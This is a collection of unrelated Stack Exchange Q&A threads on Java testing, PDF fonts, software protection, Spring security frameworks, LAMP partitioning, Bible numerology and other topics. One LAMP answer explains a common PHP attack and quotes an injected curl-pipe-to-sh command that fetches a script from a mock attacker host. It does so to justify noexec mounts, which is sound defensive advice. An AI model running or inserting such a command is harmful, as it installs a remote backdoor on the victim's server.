Comment: i have suggested this approach. however, the manager is afraid the developers will get lazy and no one ever runs test cases at all before committing code.

to ensure the quality of the main branch, we can setup a continuous build for everyone's branch. we have about 30 developers, that may overload the CI server.

but, yes, this is worth trying and see how it really works out.
Comment: If users fail to check code before before checking in, then your manager should be having a work with them about this. I won't suggest you have a lazy manager ;) IntelliJ/TeamCity has a feature which allows you to perform the build on the server and only check in the code if all the tests pass. Continuous integration saves a lot of time, you really should have one.
Comment: @James, have a look at Hudson.  It is quite easy to scale as it allows using slave computers to build.  If it currently is a pain to run unittests then do that, and then let the ones who breaks the build have to buy something for the whole team (just something small).
Comment: @Peter, I don't see your point.  Do you seriously mean that all developers should run a 20 minute test before each and every checkin?  That would mean that people only check in when they HAVE to, instead of after each logical operation (fix bug A, commit, fix bug B, commit, etc).  I don't think the manager will like that either.
Answer: The most effective way to speed up a large test suite is to run it incrementally, so that only tests that touch code changed since the last test run are re-executed. After all, the fastest tests will always be those which are not executed. 8^)
The hard part is actually getting this to work. I am currently working in incremental testing for JUnit 4, which is part of the "JMockit Coverage" tool in the JMockit developer testing toolkit. It's still immature, but I believe it will work well.
Answer: DB access and network latency might be an area to examine. If you're performing a lot of database access in your integration tests, you may want to explore using an in-memory database like HSQL, H2 or Derby instead of a "real" database like Oracle. If you're using Hibernate, you will also have to change settings in your Hibernate configs to use the dialect specific to that DB (eg, HSQLDialect instead of OracleDialect). Was on a project once where each full build would end up having to drop and recreate an entire Oracle schema and perform numerous db tests over the network and it would sometimes take up to 20 minutes, and then you find someone checked in and things were broken again. :(
Ideally you'd want to have just one DB script that is usable for both databases, but you might end up having to sychronize two different DB creation scripts - one for production, one for the integration tests.
DB in same JVM vs DB across the network - might make a difference.

How do you speed up java unit tests?


Is it possible to get font family of particular text in PDF with PDF-XChange Editor?

Question: I have this PDF and want to select a particular text and find out what font it is in. Is it possible in PDF-XChange Editor, or Foxit PDF reader? I have tried to look up different advices on Internet like this one but they don't work.
Answer: The suggested method in the linked web page is shortly "select a text with the text selection tool". That's the same what's needed if you are going to copy some text from a PDF to another application like Windows Notepad, MS Word etc...
Then check the font name, size and variant from the properties panel. Properties panel should be opened at first. It works with free and paid versions of PDF-XChange. I tested in version 10.0.

There's one trap: If the selected piece of text  happens to contain more than one font, the properties panel displays "various". It will be "various" even in case the fonts look the same, for ex. Lato Regular True Type and Lato Regular Type 1. Both of them can exist in the same line. In addition there's some spaces which are of different font than the visible text around the empty space. Select only one letter to avoid the problem.
Comment: Thanks, perfect! Works in Version 10, didn't work in version 9 (added a screenshot to your answer)
Answer: Not sure about the "click" aspect.....
... There's no need for any tools beyond Adobe Acrobat or Adobe Reader to see what fonts are used in a PDF.

Open the PDF in Acrobat or Reader
Choose File > Properties
Click the Fonts tab across the top of the Document Properties window...

(These screenshots are from your linked PDF.)
Adobe Reader is free. So even if your other tools can't list the fonts, it wouldn't cost anything to download Reader for this purpose.

I am using a legacy version of Acrobat. If, by chance, the Properties menu item has moved in more recent versions of the apps... I encourage anyone to edit this answer in order to update the item location.
Comment: I hate Adobe Acrobat. I replaced it with Foxit because of how annoying the free version was and how they were unfair when I paid the pro version. Do I really need Adobe for this?
Comment: Anyway, I didn't ask for list of all fonts... I am interested in the font family of **particular text**.
Comment: Okay well, I won't EVER argue with "I hate Adobe". But it is common users have at least Reader. I can't comment on any other tools. As far as I know.. I've never seen anything that is "target aware" for identifying fonts in a PDF. Of course, you *could* open the PDF in Inkscape or Illustrator and the type *may* be "live". Since Acrobat is showing embedded fonts, there's a high probability a vector app will open and read the fonts. In which case,.. click and the font panel will show the font. But this is commonly a 1-page-at-a-time thing.


HTTPBeat installation on windows 8.1 issue

Question: I'm trying to pump a spring-boot app metrics to elasticsearch using Httpbeat ,I'm following  this  https://aboullaite.me/spring-boot-elastic-kibana/ ,I'm struggling  to install httpbeat into my windows machine I installed Go ,but I'm stuck  at the  glide installation, is  there  any alternative that I can use rather than HTTPbeat ,And  if you know a  clear method  rather  than the  official documentation please help me, I  have a  demo the next Monday and  I'm fully stuck
Answer: Try docker install for httpbeat. Go to https://github.com/evanhoucke/httpbeat for more info. Use the docker image evanhoucke/httpbeat.
Comment: Thanks  for  your response, I already used  the precompilation version of httpbeat for  windows  users ,And  it's  running correctly


How to get information when posts with certain keywords are made within a website?

Question: Say there are websites example1.com, example2.com, example3.com. Whenever a keyword "keyword1" is posted on example1.com, I need an update to my email(or whatever eg: discord, twitter, facebook).
Comment: Please edit the question to limit it to a specific problem with enough detail to identify an adequate answer.
Comment: what's not clear?
Comment: Welcome to Software Recommendations! Please note this site is about recommending *software,* not assets or [resources](//softwarerecs.meta.stackexchange.com/q/2470/185) like [howtos](//softwarerecs.meta.stackexchange.com/q/882/185), [manuals/tutorials](//softwarerecs.meta.stackexchange.com/q/1258/185), [code fragments](//softwarerecs.meta.stackexchange.com/q/904/185), etc. So what exactly you are looking for: a library (for what environment?), a module/extension (for what framework?) – or something else?
Answer: For highly specific queries, you can build your own modular system consisting of a crawler, indexer and email notifier. If you don't want to build your own crawler you can use any search engine of your choice, and query their index periodically.
I think sending your own reports (frequency, length, formatting...) will remain your own responsibility.
If you want to search some news-sites about some topic, once there was Google News Alerts. Whenever some newspaper/newssite (that doesn't mind being crawled by G.) publishes a new article with a certain keyword, Google will send you mail with  a source link and some preview textsnippet.
To a certain extent this is still possible with news.google.com .
In the desktop view, click on "Search for topics, locations and sources", and save your search.
However I think they have removed the email notification part (maybe they have replaced it with optional smartphone notifications)
Answer: The question is very vague. Various websites present various data in many different ways - some have APIs, some have RSS that you could utilize, other output HTML that can be scraped problemlessly, different ones may require e.g. authenticating to access a certain page.
You also haven't mentioned what kind of software you're looking for. A Windows application that would run in background and do it for you after an easy setup? A Linux-compatible executable that you can set up and run on some server or in Docker? Or perhaps a programming library or framework that would help you to write your own application?
In my opinion the question is unanswerable accurately without knowing these details, but a generic response that would cover most use cases is to use a library like Scrapy in combination with some SMTP/Discord/Twitter/Facebook library, write a fitting code for your use case and run it every X seconds on a server.


Conventions to follow to make Commercial software harder to crack?

Question: What are some good conventions to follow if I want to make my application harder to crack?
Answer: As long as your entire application is client side, it's completely impossible to protect it from being cracked. The only way to protect an application from being cracked is to make it have to connect to a server to function (like an online game, for example).
And even then, I have seen some cracks that simulate a server and send a dummy confirmation to the program so it thinks it's talking to a real, legit server (in this case I'm talking about a "call home" verification strategy, not a game).
Also, keep in mind that where there is a will, there's a way. If someone wants your product badly, they will get it. And in the end you will implement protection that can cause complications for your honest customers and is just seen as a challenge to crackers.
Also, see this thread for a very thorough discussion on this topic.
Answer: A lot of the answers seem to miss the point that the question was how to make it harder, not how to make it impossible.
Obfuscation is the first critical step in that process. Anything further will be too easy to work out if the code is not Obfuscated.
After that, it does depend a bit on what you are trying to avoid. Installation without a license? The timed trial blowing up? Increased usage of the software (e.g. on more CPUs) without paying additional fees?
In today's world of virtual machines, the long term anti-cracking strategy has to involve some calling of home. The environment is just too easy to make pristine. That being said, some types of software are useless if you have to go back to a pristine state to use them. If that is your type of software, then there are rather obscure places to put things in the registry to track timed trials. And in general a license key scheme that is hard to forge.
One thing to be aware of though - don't get too fancy. Quite often the licensing scheme gets the least amount of QA, and hits serious problems in production where legitimate customers get locked out. Don't drive away real paying customers out of fear of copying by people would most likely wouldn't have paid you a dime anyway.
Answer: Book: Writing Secure Code 2
Answer: There are 3rd party tools to obfuscate your code.  Visual Studio comes with one.
BUT, first, you should seriously think about why you'd bother.  If your app is good enough and popular enough to desire being cracked, it will be, despite all of your efforts.
Answer: Here are some tips, not perfect but maybe could help:

update your software frequently
if your software connects to some server somewhere change the protocol now and then. you can even have a number of protocols and alternate between them depending on some algorithm
store part of your software on a server which downloads every time you run the software
when you start your program do a crc check of your dlls that you load i.e. have a list of crc's for approved dll's
have a service that overlooks your main application doing crc checks once in a while and monitoring your other dependent dll's/assemblies.

unfortunately the more you spend on copy protecting your software the less you have to spend on functionality, all about balance.
another approach is to sell your software cheap but to do frequent, cheap upgrades/updates, that way it will not profitable to crack.
Answer: The thing with .NET code is it is relatively easy to reverse engineer using tools like .NET Reflector. Obfuscation of code can help but it's still possible to work out.
Answer: If you want a fast solution (but of course, there's no promise that you won't be cracked - it's just some "protection"), you can search for some tools like Themida or Star Force. These are both famous protection shells.
Answer: It's impossible really. Just release a patch often then change the salt in your encryption. However if your software get's cracked be proud it must be really good :-)
Answer: this is almost like mission impossible, unless you have very few customers.
just consider - have you ever seen a version of Windows that is not cracked?
Answer: If you invent a way to protect it, someone can invent a way to crack it. Spend enought effort so that when people use it in an "illegal" way, they are aware of it. Most things beyond that risk being a waste of time ;o)


Set up Jenkins to use Crowd's OpenID for SSO?

Question: Been trying to get Jenkins to work with Crowd's OpenID server so we can use single sign-on like with our Atlassian stuff (the Jenkins Crowd plugin can't do SSO).  Can't seem to find the proper OpenID URL to give Jenkins though.  Only one I can get from CrowdID is a per-user URL.  Is there a way to get a server-wide URL out of CrowdID for this that I'm missing?
Answer: see also:

https://issues.jenkins-ci.org/browse/JENKINS-9035

But I got with both crowd urls:
org.openid4java.consumer.ConsumerException: 0xa00: Authentication cannot continue: no discovery information provided.

The first that is like a valid endpoint is somewhat like crowdid.example.com/users/ but with that, I get the following message after login in CrowdID:
OpenID Verification Error
A request has been made to authenticate an OpenID identifier, different from the one you are logged in as. To use a different OpenID, log out and log in as a different user.

Will give Update if it is fixed here ;)
Update:
Atlassian is currently not supporting such a single-Endpoint. Hudson/Jenkins OpenIdSSO won't work!
The feature Request: https://jira.atlassian.com/browse/CWD-2470
Update:
This is fixed in Crowd 2.6, where the endpoint URL will end in /op, rather than /users/username.


Why was Solomon connected to the #666

Question: Solomon had turned away from God. He had multipled his horses, chariots & the number of his wives and concubines. How do you think Father God felt about this after the generosity the Lord had blessed him with?
Comment: Your title and question don't match up very well. Could you please [edit] either one to be clearer?
Comment: _Now the weight of gold that came to Solomon in one year was six hundred threescore and six talents of gold,_ 1 Kings 10:14. This is what came _from the heathen  nations_ to Solomon.
Comment: @valerie
It seems like the title and the question have little to do with each other, beyond Solomon?  Also, who connected Solomon with 666?  What was their basis for that.
Answer:
Now the weight of gold that came to Solomon in one year was six hundred threescore and six talents of gold, [1 Kings 10:14 KJV].

And the weight of the gold that hath come to Solomon in one year is six hundred sixty and six talents of gold, [Young's Literal Translation].

This is what came to Solomon from the heathen nations, as 'tribute' or taxation.
One interpretation of this is that it represents the real value of the world (the redeemed of the Lord being gathered out of the nations) coming unto Christ in his kingdom. See Revelation 21:26 (1) and Isaiah 60:11 (2).
There is no reason to suppose that the kingdom set forth in the providence of God, in Israel, is to be seen as a satanic kingdom. Rather it is to be seen as a figure of the kingdom of Jesus Christ, yet to come.

Solomon's personal fall, his heart being carried away by the abundance of what he was given in providence, in particular the women he married and had as concubines, may well have been temporary and he may well have recovered from it.
If indeed the Song of Solomon is written by Solomon then it demonstrates that, in the end, he saw what the Bride and the Bridegroom really represent and he, himself, became a part of that spirituality, despite his temporary fall.

(1) And the gates of it shall not be shut at all by day: for there shall be no night there. And they shall bring the glory and honour of the nations into it. [Revelation 21:26 KJV]

(2) Therefore thy gates shall be open continually; they shall not be shut day nor night; that men may bring unto thee the forces of the Gentiles, and that their kings may be brought. [Isaiah 60:11 KJV] See 1 Peter 2:9 'a royal priesthood'.
Comment: It may be little wonder that people reading modern translations don't see this 666 number because, e.g. the NLT reads "Each year Solomon received about 25 tons of gold." The footnote makes no mention that this equals 666 talents. But in 9:28 the footnote for him getting 16 tons of gold from Ophir does mention that this equals 420 talents. Ah, but they don't want to even have a footnote with 666 for 10:14! Makes you wonder why they have shied away from this. Your answer is significant +1
Comment: @MikeBorden Yes. They are redeemed _out of it_. We all belong to it, by nature. By redemption we are loosed from it.
Comment: Not to be confused with the number of the beast, I assume?
Comment: @MikeBorden I assume it _is_ to be related, myself. Out of all that is subject to the Drakon and the Beast, yet comes that which is redeemed and is, as prophesied by Isaiah, gathered into the kingdom of the Christ. And it is a remarkable foresight of John's vision. proving that all scripture is given by inspiration of God, the Holy Spirit.
Comment: I don't understand the redeemed to be associated with that number.  Isn't it those who refuse to associate with the number or the name it represents  who suffer and are redeemed?
Answer: I think God felt like He was making progress in developing the character of Solomon. God gives in abundance sometimes, and I think that He gave so much to Solomon because He trusted Solomon with having much, and to also demonstrate how these blessings are not the determining factor of power or prestige. I think God was feeling like teaching Solomon about how He has everything that everyone wants already, and how easy it is to give it to a person who has been trusted by God.
The fact that Solomon was then distancing himself from God was an example of how he has a core belief that abundance in this world is relative to being same as God. But this test really is just a sad case of a man who has too much to take care of to even please God with gratitude of the gifts given to him. This is where God basically establishes a clear distinction between what God can do and what mankind cannot do. Mostly I feel like God is loving solomon enough to teach by experience and not to damn him for thinking that he is same as God. There's lots more to explore here. Great question!!!!
Comment: Welcome to Christianity SE and thank you for your contribution. When you get a chance, please take the [tour] to understand how the site works and [how it is different than others](https://christianity.meta.stackexchange.com/a/1809/50259).
Comment: What is the basis for saying Solomon is "thinking he is [the] same as God."
Also, it appears the answer is entirely speculation.  What are your sources?  Bible verses  are particularly helpful.

Why was Solomon connected to the #666


a map for the number of overlapping polygons

Question: I have a geodatabase with a given number of polygon features. I would like to generate a layer (V) that displays the number of overlapping polygons at any given (x,y) location spanned by my polygons. For example, if at (x1,y1) I have two overlapping polygons my V(x1,y1)=2, if I have no polygons at (x2,y2) then V(x2,y2)=0, and so on.
What is the easiest way to build this map? I am currently reviewing join and merge tools to see how I can make this work.
Answer: I would loop over each polygon and first create a binary raster where the cell value is one inside the polygon, and zero outside, and then use map algebra to add it to a total raster.
Unless you have a trivial number of polygons, you will probably want to write an arcpy script to do this.
Comment: there must be an easier way using already built in tools? another post http://gis.stackexchange.com/questions/51929/how-to-count-and-rasterize-polygon-overlaps-in-arcgis-desktop describes this but the dissolve function is not adding up the overlapping polygons.
Answer: I know this is an older post but I had a similar problem and found this tool
http://www.arcgis.com/home/item.html?id=1dd4a6832b3d40b494dbf8521cc5134c, was the easiest solution.
Answer: using union and dissolve i was able to get it to work, the key for me was to select the right Dissolve_Field to Count over in the Statistics Field (i.e. both fields match and I used "shape_Area" as the unique indentifier). Thanks for the comments! This post was most helpful for me: Counting and rasterizing polygon overlaps in ArcGIS Desktop?


Suggested Linux partitions layout for an LAMP server?

Question: I need some suggestions on what would be the best approach for the partition layout for an LAMP server, that is LINUX + APACHE + PHP + MYSQL.
Answer: I suggest using your OS's default layout unless you have some special considerations, e.g. as large amounts of data, very high usage, potentially large growth.
You can always expand later ... for example we often have:
/tmp
/boot
/
Should mysql get bogged down due to disk IO we can add another disk or SAN mount at /var/lib/mysql
If your doc root is /var/www, you can always mount more disk resources as well.
Some will tout performance benefits of using a more fine grained system, but I often find the claims do not hold up in real-world applications or have little performance impact because the system is not disk IO limited.
Comment: +1 for de-fault.  linux admins have a long history of turning partition layouts into minefields of over-engineering one-upsmanship.  Unless you have some pre-existing design and a well thought case for it, trust your distro.
Answer: If nothing else matters *sings along with Metallica*, you should at least take care that you have a separate mount for PHP uploads / temporary files and for your web root mounted with nosuid,noexec flags. That stops about 99% of script kiddie attacks.
Why?
Because practically all of them seem to use pattern like
1) Find a weakness in some PHP script, like passing arbitrary code via some URL parameter.
2.1) Upload a file containing C code or a shell script from some nice web form you have there in your site.
or
2.2) Make your web server download and execute some nasty code via URL parameters like `system("curl http://icanhazyourcheezburger.com/ipwnj00.sh | sh") or so. Some of these instruct your server to first fetch the C source code and compile it with gcc, so disabling gcc from Apache user is a good idea, too.
3) See how you have a nice backdoor installed in your server.
So, how does noexec,nosuid help in this case? No code would be executed at all. Yeah yeah, that CAN be overridden, but it's getting harder and anyway security is made of layers, this noexec,nosuid thing is just one of them.
Answer: I usually do the following (using Debian):
I put everything into LVM (this works with Grub2).

/boot 1GB (space for a rescue/install cd image or something else tricky. Can be kept off LVM if you are cautious).
/ 5-10 GB, maybe 20GB if I need Matlab or something else in /opt
/home size depends on server (what kind of users? how many? how much data?)
/var again size depends on server (logfiles, mostly)
/srv and again size depends, but this is where I would put docroot (/srv/www)

Specifically I do not fill up the entire VG, as that gives me more room to play as requirements change. And growing filesystems can be done online using LVM.
Answer: See http://novosial.org/kickstart/#s3
It suggests, at a minimum having separate boot, swap and a mixed os software and user partitions - since its not space and time efficient to have multiple small partitions. However for critical servers, isolating untrusted users from critical filesystem areas. This includes user home directories and temporary directories. It also suggests mounting the user areas with the nosuid or other options to prevent untrusted execution of code.
Comment: This is why you don't answer with just a link. The site is now down and no one can see the content.  *sigh*
Comment: Yeah, that sucks.  I suppose that's to be expected.  Luckily the Internet Archive has a copy: http://web.archive.org/web/20080609200241/http://sial.org/howto/kickstart/#s3
Answer: The reason that some server admins partition systems like crazy is that if someone nails the server with a file upload attack (there was a big upload attack vulnerability in PHP before some version of 5.2.X for example) or a logfile attack, the system doesn't run out of file space and crash when /var/log or /tmp fill up. This is not a very big concern anymore with hard drives the size they are, but then there's the smaller partition performance boost as well.
I read somewhere that modern drives perform best near the middle and the end of the drive, but run your own tests as hardware is always different. Having something like swap or /tmp located in a better spot for performance might give you a worthwhile boost, who knows. Then again, you can always throw more disks or a SAN at the problem, as others have mentioned.
Answer: It depends from your level of expertise, from the load of the server, from the budget.
It is, if you are a beginner and the server doesn't need to reply to really many queries, then also a single partition could do the job, maybe two, one for /var, because the log files can quickly fill a filesystem and if it is the root one the server can stop working.
If the server has to support a big load then it could be sensible to do more partitions because little partitions have shorter access time than bigger one if there aren't many concurrent access to different partitions on the same disk. If you have more budget (also if today disks are quiet cheap) it could be a good idea to do RAID, at least 1 or better 10 (there is a reliability and also a performance gain), but in the first case you must use at least 2 disks and in the second one at least 4. Then you'll use a filesystem that can be resized and LVM to get the same target (partition and filesystem resizing).
In such case you could have  /, /boot, /var, /var/log, /home, /tmp, /usr and maybe /usr/local, /opt. I read that swap partition in the recent kernel doesn't have worst performances than a swap file, so you could have a swap partition, but also no.
Maybe ;-)
Comment: What's wrong? It is mybe there are some inaccuracies, but I don't understand what's wrong.
Comment: The only inaccuracie I found:
1. if you want a partitions for log, it will be /var/log, not /var, as I wrote

I found also not only useless, but also harmful  give negative feedback without explanation, because not only the policies of the site tell that it should be given, but it is also meaningful because with an explanation the author of the erroneous texts and the other readers can learn, while without such explanations the right thing to do could be to leave sarverfault for ever, either for questions, either for answers.


Shiro vs. SpringSecurity

Question: I have currently evaluating Java based security frameworks, I am a Spring 3.0 user so it seemed that SpringSecurity would be the right Choice, but Spring security seems to suffer from excessive complexity, it certainly does not seem like it is making security easier to implement, Shiro seems to be much more coherent and easier to understand. I am looking for lists of pros and cons between these two frameworks.
Answer: I too agree that Spring Security feels too complicated (to me).  Sure, they have done things to reduce complexity, like creating custom XML namespaces to reduce the quantity of XML configuration, but for me, these don't address my personal fundamental issue with Spring Security: its names and concepts are often confusing in general to me.  It's hard to just 'get it'.
The second you start using Shiro though, you just 'get it'.  What was hard to understand in the security world is just that much easier to understand.  Things that are unbearably difficult to use in the JDK (e.g. Ciphers) are simplified to a level that is not just bearable, but often a joy to use.
For example, how do you hash+salt a password and base64 encode it in Java or Spring Security?  Neither are as simple and intuitive as Shiro's solution:
ByteSource salt = new SecureRandomNumberGenerator().nextBytes();
new Sha512Hash(password, salt).toBase64();

No need for commons-codec or anything else.  Just the Shiro jar.
Now with regards to Spring environments, most of the Shiro developers use Spring as their primary application environment.  That means Shiro's Spring integration is superb and it all works exceptionally well.  You can rest assured that if you're writing a Spring app, you'll have a well-rounded security experience.
For example, consider the Spring XML config example in another post in this thread.  Here's how you'd do (essentially) the same thing in Shiro:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd>

<bean id="shiroFilter" class="org.apache.shiro.spring.web.ShiroFilterFactoryBean">
    <property name="securityManager" ref="securityManager"/>
    <property name="loginUrl" value="/login.jsp"/>
    <property name="successUrl" value="/home.jsp"/>
    <property name="unauthorizedUrl" value="/unauthorized.jsp"/>
    <property name="filterChainDefinitions">
        <value>
        /secure/** = authc
        /** = anon
        </value>
    </property>
</bean>

<bean id="securityManager" class="org.apache.shiro.web.mgt.DefaultWebSecurityManager">
    <property name="realm" ref="myRealm"/>
</bean>

<bean id="myRealm" class="...">
    ...
</bean>

Although slightly more verbose than the other Spring example, it is easier to read IMO.
You'll also find using Shiro's filter chain definitions are probably the easiest way to define general filter chains and web-based security rules ever!  Much nicer than defining them in web.xml.
Finally, Shiro offers extreme 'pluggability' as well.  You'll see that you can configure and/or replace just about anything because of Shiro's POJO/injection-friendly architecture.  Shiro defaults almost everything to sane defaults and you can override or configure only what you need.
At the end of the day, I think choosing either of these two is more about your mental model - which of the two make more sense and is more intuitive for you?  For some it will be Shiro, for others it will be Spring Security.  Shiro works great in Spring environments, so I would say choose based on which of the two you enjoy more and makes the most sense to you.
For more on Shiro's Spring integration: http://shiro.apache.org/spring.html
Comment: I've read all this before start using shiro. Shiro annotations seem to suffer some issues in spring.Information on how to solve it are very har and there are various posts in stackoverflow (1 or 2 posted by myself) which most of the time found no answers. I was seriously thinking i should go spring security despite it said complication, with that i'm sure i can have people to point me to the right direction.
Comment: @blacksensei did you solve the problems you mentioned? Sticking with Shiro or switched to Spring Security?
Comment: Hi @AlexanderSuraphel I did not move to Spring for that project. A colleague is actively using it. And I plan to test it in a spring-boot project. It it works nicely for me. I will move all other projects. As simple as that
Comment: Ok, I decide to try Shiro out for next project !!
Answer: I don't have experience using Shiro, and I "partly" agree with what you said about Spring Security. Prior to Spring Security 3.x, Spring Security (or Acegi) was very painful to set up. A simple role-based configuration will take at least 140 lines of cryptic XML configuration... I know this because I actually counted the lines myself. It was something where you set up one time, and you pray that it will work forever without you touching the configuration again, because you can assure you have forgotten what all the configuration means. :)
With Spring Security 3.x, it has tremendously improved upon. It introduces security namespace that drastically shorten the configuration from 140 lines to ~30 lines. Here's an example of Spring Security 3.x of one of my projects:-
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:security="http://www.springframework.org/schema/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd
                        http://www.springframework.org/schema/security http://www.springframework.org/schema/security/spring-security.xsd">

    <security:http auto-config="true">
        <security:form-login login-page="/index.do" authentication-failure-url="/index.do?login_error=1" default-target-url="/index.do"
            always-use-default-target="true" />
        <security:logout logout-success-url="/index.do" />
        <security:intercept-url pattern="/secure/**" access="ROLE_ADMIN,ROLE_USER" />
        <security:intercept-url pattern="/**" access="IS_AUTHENTICATED_ANONYMOUSLY" />
    </security:http>

    <bean id="customAuthenticationProvider" class="my.project.CustomAuthenticationProviderImpl">
        ...
    </bean>

    <security:authentication-manager>
        <security:authentication-provider ref="customAuthenticationProvider" />
    </security:authentication-manager>

</beans>

The beauty of Spring Security 3.x is it is extremely configurable, which contributes to one of the main cons: too complicated to understand. The documentation isn't easy to read either because I'm only partially familiar with the some of the terms Spring Security used. However, the options are there if you need to create your custom configuration or control how granular you want your security to be. Or else, you can stick with the above < 30 lines to perform a role-based security check.
What I really like about Spring Security is once it is set up the security is integrated into the project seamlessly. It is as if the actual project code doesn't know the existence of the security... and that is good, because it allows me to easily detach or upgrade the security component in the future (ex: change database auth to LDAP/CAS auth).
Comment: I have tried both shiro and spring security, and I personally feel the shiro is quite easy to understand where as spring security feels complex. I have yet to figureout how to setup permissions, that I can assign to roles/groups/users in spring security- (I think ACL may be the solution). With shiro it was quite easy.

I am not expert of spring security or shiro, its just my personal experience as user of both.
Comment: Would you like to say something about when it is good to move from container based security to alternatives like shiro or others? See more focussed question here:http://stackoverflow.com/questions/7782720/when-to-move-from-container-managed-security-to-alternatives-like-apache-shiro
Comment: @sudhir have you encountered any bottlenecks in Shiro's configurablity?
Comment: It worked for all of our user cases, i think it is possible to tailor it for most situations. Whts your usecase ?
Answer: I had been using Spring Security (version 3.1) for a few months and was quite happy with it. It is really powerful and has some very nice feature, especially after implementing everything by hand as I did before ! It was though, like I read somewhere, sort of something that you set up once near the beginning of the develoepment of the app, and then pray for it to keep working till the end, because if you have to go fix it you'll probably have forgotten most of the stuff you had to parameter.
But then a new project came along, with more complex security requirements. In short, we had to implement some sort of custom SSO between a couple of related webapps.
I knew exactly what I wanted to achieve in terms of HTTP logic, cookies, session id's and stuff, and what should happen in what order, but I spent the better part of a day struggling with the Spring Security APIs, and still could not figure out exactly what class or interface I shoud implement or override, and how to plug them in the context. The whole API felt really complex and a bit esoteric at times. And while the doc is quite good for the general use cases and even some customization, it did not go deep enough to cover my needs.
After reading the answers here and on some other places on the web, I got the impression that Shiro would be easier to understand and customize to my needs. So I gave it a try.
And I am glad I did, because after a day working on it I managed to learn enough about the APIs not only to set up a basic authentication and authorization system in my Spring webapp without trouble, but also to implement the custom SSO behaviour I was looking for. I only had to extend 2 or 3 classes, and the whole thing took only about 25 lines of XML config in my spring context.
So as a conclusion, on the ease of use and learning curve aspects, Shiro is really quite likeable, and I think I will probably go with it in the future, unless I encounter some features lacking or some other problem (which I haven't so far).
TL;DR: Both are powerful, but Shiro is much easier to learn.
Comment: Pierre, thanks for the input.  I also need sso.  I don't suppose you could show some examples of what classes you had to expose.
Comment: @KingAndrew : in a few words, what I did was implement my own AuthorizingRealm, AuthenticationToken, and AuthenticationFilter. And all the necessary filters and plumbing. But what I do is not "normal" sso, it is based on a token that is stored in the DB that is common between the 2 apps. So I am not using a separate SSO server.

Shiro vs. SpringSecurity


Execute command in terminal an don't wait its return

Question: I need to run Firefox browser from terminal. Browser works fine, but terminal still waits for Firefox to return and if I do CTRL+C, it terminates Firefox. How to run command to make Firefox work independently from terminal?
Comment: Just add an ampersand sign at the end of the command. This is shell basics...
Answer: Use
firefox &
It will create firefox process in background and you can work in terminal
Answer: Firefox 35 on Ubuntu 14.04 detaches itself from the shell, still printing errors though, to eliminate that output, try:
firefox >/dev/null 2>&1 www.google.com &

The
>/dev/null makes firefox's 'stdout' text stream be sent to "nowhere",
2>&1 makes 'stderr' be sent to the same place,
& detaches firefox from the shell.
With Bash "job control" of a long running process, e.g. find on / as in:
find -printf "%p\n" / >$HOME/LIST-OF-FILES.txt

... at any time before it finishes, you can do this:
Hold Ctrl and hit Z
[1]+  Stopped                 find ...

will be printed and the shell prompt will reappear...
type bg and press enter to have find continue run in the background.
Note that errors and warnings will still be printed, as in...
find: /run/lightdm: Permission denied

To stop those from appearing, add 2>/dev/null to the command line.
Another alternative to launch GUI based software is
xdg-open firefox ...

... this is more equal to actually clicking on an icon in your OS.
NOTE: Ubuntu. There are various variants of this for other Linux-variants, and MacOS.
Look up "job control" in http://www.tldp.org/LDP/abs/html/abs-guide.html - for more info.
Comment: This works fine - I can work with firefox and terminal. But if I close terminal firefox is also killed. How to solve this?
Comment: Check addition above, I hope it will help you - not checked.
Answer: Ctrl+Z is what you're looking for and then afterwards type bg Enter
Alternatively (but you'll take a bit of getting used to it) is typing firefox& instead of firefoxCtrl+Z bg Enter


what is the cause for sharp shadows when using strong bump?

Question: I often have a problem when lighting where to see the sharp edges on the mesh. This happens when I add any bump & when I use Lamp as a light source. And the darker the scene & the stronger bump, the more visible these edges, even when the object is smoothed. Please help with this problem. Because of this it's impossible to make quality works.
Answer: It really depends on how you're applying your bump.
If you're doing it via the new "True" displacement (or "Both") settings in Cycles materials, your mesh should be adequately subdivided in order for it to work properly. The displacement is indeed applied on the actual geometry (vertices) of the mesh, not on its faces.
To do so, try using the Subdivision Surface modifier with an adequate level of subdivision or, if you're using the experimental features on a recent version of Blender, you can make it adaptive: reference.
Also, increasing the lamp size parameter could help.

(the black spots in the last one are because I didn't put too much care in creating a seamless UV map, and a fine subdivision, together with a strong bump value, makes it more evident)

Related: Blender Cycles True Displacement
Comment: Amazing explanation.


PS4/PS5 Region And PSN Account?

Question: Can I login to my PSN Account on a console from a different region and purchase DLC, and PS+ using that account?
Answer: It... is complicated.
The console has the ability to play game disks from any region.
So, if you for example buy a Japanese game because the company decided that "no physical release for west market the game will work fine. An you will be able to receive updates too without any issue. I have personally experienced that with some Hatsune Miku games that at the time were unavailable outside japan.
Problems start when DLC are involved.
Since corporate capitalism has to empty you pockets as much as possible, they don't actually want you to be able to use other region marketplaces freely... "licensing issues" being the main excuse.
This means that while any region game will work on any PS console, DLC for that game must be downloaded from the appropriate region.
Simpler version: if you buy the Japanese physical deluxe version of a game only available digital in the rest of the world, any DLC code included will be useless unless you have a Japanese PSN store account too. And if you buy something from a different region store you then have to use that store to buy any DLC too, even if the game is later made available in your region.
Is this stupid? Yep. But you will have to live with it. Because in 2022, with every company praising how "digital is better because it means we can deliver you content everywhere fast"... you are still bound to regional markets because some corporate CEO needs to make you pay "import scam" anyway...
Answer: Generally, your PS4 gaming console is not region-locked. In addition to the console, PS4 game discs and digital content are not regions locked, either. However, Sony recommends that you get discs and consoles from the same region.
Source: https://whatsabyte.com/are-ps4-games-region-locked

PS4/PS5 Region And PSN Account?


Caring is wrong?

Question: Is caring is a bad thing according to Buddhism ? Because as I experience caring leads us to suffering. But caring can come in so many levels such as we do help a person normally as a result of our caring towards that person/ animal. And in a relationship we do caring on very tiny things even by checking the other person has reached home safely etc. But in the big picture finally we get reasons to suffer due to our caring. It seems like we can get rid of most of the sufferings if we do not care.
So is it not appropriate to care ? Otherwise how can we avoid suffering ourselves while caring ?
Comment: http://bostonreview.net/forum/paul-bloom-against-empathy is an interesting read about the different types of empathy - affective and cognitive!
Comment: interesting blog @llya
Answer: Ordinary caring can lead to suffering but caring with wisdom does not lead to suffering.
